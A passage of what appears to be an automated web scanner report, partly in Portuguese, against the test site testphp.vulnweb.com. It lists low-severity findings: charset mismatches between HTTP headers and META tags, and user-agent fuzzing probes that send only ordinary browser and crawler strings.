Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/artists.php?artist=2
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/artists.php?artist=3
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/cart.php
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/categories.php
Método	GET
Ataque	
Evidence	

Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/disclaimer.php
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/index.php
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/listproducts.php?artist=1
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/listproducts.php?artist=2
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/listproducts.php?artist=3
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/listproducts.php?cat=1
Método	GET

Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/listproducts.php?cat=2
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/listproducts.php?cat=3
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/listproducts.php?cat=4
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/login.php
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/product.php?pic=1
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/product.php?pic=2
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.

URL	http://testphp.vulnweb.com/product.php?pic=3
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/product.php?pic=4
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/product.php?pic=5
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/product.php?pic=6
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/product.php?pic=7
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/signup.php
Método	GET
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/cart.php
Método	POST
Ataque	
Evidence	

Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/guestbook.php
Método	POST
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/search.php?test=query
Método	POST
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-2] não correspondem.
URL	http://testphp.vulnweb.com/secured/newuser.php
Método	POST
Ataque	
Evidence	
Other Info	Houve uma incompatibilidade de conjunto de caracteres entre o cabeçalho HTTP e as declarações de codificação do tipo de conteúdo META: [UTF-8] e [iso-8859-1] não correspondem.
Instances	32
Solution	Forçar UTF-8 para todo o conteúdo de texto tanto no cabeçalho HTTP quanto nas marcas meta em HTML ou nas declarações de codificação em XML.
Reference	https://code.google.com/p/browsersec/wiki/Part2#Character_set_handling_and_detection
CWE Id	436
WASC Id	15
Plugin Id	90011

Informativo	**User Agent Fuzzer**
Descrição	Check for differences in response based on fuzzed User Agent (eg. mobile sites, access as a Search Engine Crawler). Compares the response statuscode and the hashcode of the response body with the original response.
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other	

Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/AJAX
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/Flash
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	

URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/guestbook.php
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/high
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/high

Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/high
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/high
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/high
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/high
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/high
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp

Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET

Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/hpp
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET

Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET

Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/images
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3739.0 Safari/537.36 Edg/75.0.109.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Ataque	Chrome/91.0.4472.124 Safari/537.36
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko

Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-1
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko

Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-2
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	

Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3
Método	GET
Ataque	Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/BuyProduct-3
Método	GET
Ataque	msnbot/1.1 (+http://search.msn.com/msnbot.htm)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Evidence	

Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details
Método	GET
Ataque	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/91.0
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details
Método	GET
Ataque	Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details
Método	GET
Ataque	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details
Método	GET
Ataque	Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4
Evidence	
Other Info	
URL	http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details
Método	GET
